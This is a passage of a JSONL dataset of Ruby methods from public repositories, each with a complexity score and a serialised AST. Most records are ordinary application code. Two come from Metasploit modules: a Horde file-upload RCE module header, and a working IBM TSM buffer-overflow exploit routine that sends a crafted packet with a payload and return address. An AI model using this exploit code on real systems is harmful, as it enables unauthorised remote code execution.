end","complexity_score":61.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"find_conditions\"]},{\"type\":\"arg\",\"children\":[\"project_conditions\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"results_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_conditions\"]},\"join\",{\"type\":\"str\",\"children\":[\" AND \"]}]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"lvar\",\"children\":[\"find_conditions\"]}]},\"includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"searchable_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include\"]}]}]},\"references\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"searchable_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"references\"]}]}]},\"order\",{\"type\":\"send\",\"children\":[null,\"find_order\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]}]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results_count\",{\"type\":\"send\",\"children\":[null,\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"searchable_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date_column\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quoted_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]}]},null]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"lvar\",\"children\":[\"results_count\"]}]}]}]}","id":"2e8b70c0-1395-46ea-830e-ededd13f2b5c"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/email.rb","start_line":16,"raw_source":"def self.replace_merge_tags(content, user)\n    return content unless user\n\n    # Define the mapping of merge tags to user attributes\n    merge_tags = {\n      \"name\" => user.name,\n      \"username\" => user.username,\n      \"email\" => user.email\n    }\n\n    # Replace merge tags in the content\n    content.gsub(/\\*\\|(\\w+)\\|\\*/) do |match|\n      tag = Regexp.last_match(1).downcase\n      merge_tags[tag] || match # Leave the tag untouched if not found\n    end\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"replace_merge_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"merge_tags\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\*\\\\|(\\\\w+)\\\\|\\\\*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"downcase\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_tags\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"lvar\",\"children\":[\"match\"]}]}]}]}]}]}","id":"e63402ae-4059-4be5-a554-e2e42a7fb465"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/configuration_management.rb","start_line":5,"raw_source":"def settings\n    (is_local? ? ::Settings : settings_for_resource).to_hash\n  end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_local?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},{\"type\":\"send\",\"children\":[null,\"settings_for_resource\"]}]}]},\"to_hash\"]}]}","id":"58c8e6a0-39de-428c-aa87-e2a8770e9ac2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/each_for_simple_loop.rb","start_line":45,"raw_source":"def offending?(node)\n          return false unless node.arguments.empty?\n\n          each_range_with_zero_origin?(node) || each_range_without_block_argument?(node)\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"offending?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_range_with_zero_origin?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"each_range_without_block_argument?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"79e65f42-9e13-4393-ba36-8c5a0a9a9390"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/horde_form_file_upload.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Horde Form File Upload Vulnerability',\n        'Description' => %q{\n          Horde Groupware Webmail contains a flaw that allows an authenticated remote\n          attacker to execute arbitrary PHP code. The exploitation requires the Turba\n          subcomponent to be installed.\n\n          This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Ratiosec',\n        ],\n        'References' => [\n          ['CVE', '2019-9858'],\n          ['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],\n        ],\n        'DisclosureDate' => '2019-03-24',\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          ['Automatic', {}],\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),\n        OptString.new('USERNAME', [true, 'The username to authenticate with']),\n        OptString.new('PASSWORD', [true, 'The password to authenticate with']),\n        OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])\n        # Appears to be '/usr/share/horde/' if installed with apt\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Horde Form File Upload Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Horde Groupware Webmail contains a flaw that allows an authenticated remote\\n\"]},{\"type\":\"str\",\"children\":[\"          attacker to execute arbitrary PHP code. The exploitation requires the Turba\\n\"]},{\"type\":\"str\",\"children\":[\"          subcomponent to be installed.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ratiosec\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-9858\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-03-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the web application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEB_ROOT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the web root\"]},{\"type\":\"str\",\"children\":[\"/var/www/html\"]}]}]}]}]}]}]}","id":"1a9f3096-20df-498f-af6d-dfa872492248"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/company.rb","start_line":113,"raw_source":"def log_after_remove(record)\n      log << \"after_remove#{record.id}\"\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_after_remove\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"after_remove\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]}]}]}]}]}","id":"c19ccbf0-03e8-412f-9a5c-7e739190fc0d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/watcher.rb","start_line":13,"raw_source":"def initialize(paths)\n      @paths = paths || Watcher.default_paths\n      @queue = Queue.new\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@paths\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Watcher\"]},\"default_paths\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@queue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queue\"]},\"new\"]}]}]}]}","id":"4fd04575-0ecf-4f63-bd9e-e4378d09bd71"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":112,"raw_source":"def average\n    return 0 if calls.size == 0\n    total_score / calls.size\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"average\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"calls\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_score\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"calls\"]},\"size\"]}]}]}]}","id":"f9103fe9-4e99-4f97-981c-7f10b6d88120"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb","start_line":106,"raw_source":"def exploit\n    print_status(\"Trying target %s...\" % target.name)\n\n    # first get the port number\n    query = [1].pack('n')\n    query << \"\\x00\" * 10\n    data = make_tsm_packet(0x10200, query)\n\n    connect\n    print_status(\"Attempting to start the RCA service via the CAD service...\")\n    sock.put(data)\n    buf = sock.get_once(-1, 10)\n    disconnect\n\n    rca_port = extract_port(buf)\n    if not rca_port or rca_port == 0\n      print_error(\"The RCA agent service was not started :(\")\n    else\n      print_status(\"RCA Agent is now running on port %u\" % rca_port)\n    end\n\n    # trigger the vulnerability\n    copy_len = payload_space + 4\n    sploit = rand_text(33)\n    # start offset, length\n    sploit[10, 4] = [0, copy_len].pack('n*')\n    # data to copy\n    buf = payload.encoded\n    # we need this special encoding to make it work..\n    buf << [target.ret].pack('V').unpack('v*').pack('n*')\n    # adjustment :)\n    sploit << buf\n    data = make_tsm_packet(0x10400, sploit)\n\n    connect(true, { 'RPORT' => rca_port })\n    print_status(\"Sending specially crafted dicuGetIdentifyRequest packet...\")\n    sock.write(data)\n\n    print_status(\"Starting handler...\")\n    handler\n    disconnect\n  end","complexity_score":61.75,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target %s...\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"make_tsm_packet\",{\"type\":\"int\",\"children\":[66048]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to start the RCA service via the CAD service...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"lvasgn\",\"children\":[\"rca_port\",{\"type\":\"send\",\"children\":[null,\"extract_port\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rca_port\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rca_port\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The RCA agent service was not started :(\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"RCA Agent is now running on port %u\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"rca_port\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"copy_len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_space\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[33]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"[]=\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"copy_len\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"v*\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"make_tsm_packet\",{\"type\":\"int\",\"children\":[66560]},{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"lvar\",\"children\":[\"rca_port\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending specially crafted dicuGetIdentifyRequest packet...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Starting handler...\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"7a5bdcae-4cf6-47cc-a871-eec6e169c886"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/support/integration/adapters/sneakers.rb","start_line":53,"raw_source":"def stop_workers\n    Process.kill \"TERM\", @pid\n    Process.kill \"TERM\", File.open(Rails.root.join(\"tmp/sneakers.pid\").to_s).read.to_i\n  rescue\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"str\",\"children\":[\"TERM\"]},{\"type\":\"ivar\",\"children\":[\"@pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"str\",\"children\":[\"TERM\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"tmp/sneakers.pid\"]}]},\"to_s\"]}]},\"read\"]},\"to_i\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]}","id":"44411e4c-24c1-4a87-bc0e-b655412a1972"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/presenters/issue_close.rb","start_line":27,"raw_source":"def pretext\n          \"I closed an issue on #{author_profile_link}'s behalf: *#{issue.to_reference}* in #{project_link}\"\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pretext\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"I closed an issue on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author_profile_link\"]}]},{\"type\":\"str\",\"children\":[\"'s behalf: *\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"to_reference\"]}]},{\"type\":\"str\",\"children\":[\"* in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_link\"]}]}]}]}","id":"1d9d61b3-17e8-45ce-a657-f87bf8285374"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_customizable/lib/acts_as_customizable.rb","start_line":281,"raw_source":"def add_custom_value_errors!(custom_value)\n          custom_value.errors.each do |error|\n            name = custom_value.custom_field.attribute_name.to_sym\n\n            details = error.details\n\n            # Use the generated message by the custom field\n            # as it may contain specific parameters (e.g., :too_long requires :count)\n            errors.add(name, details[:error], **details.except(:error))\n          end\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_custom_value_errors!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_value\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_value\"]},\"custom_field\"]},\"attribute_name\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"details\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"details\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"details\"]},\"except\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"2fa7e35f-2b38-42fe-be33-b6316ecba246"}
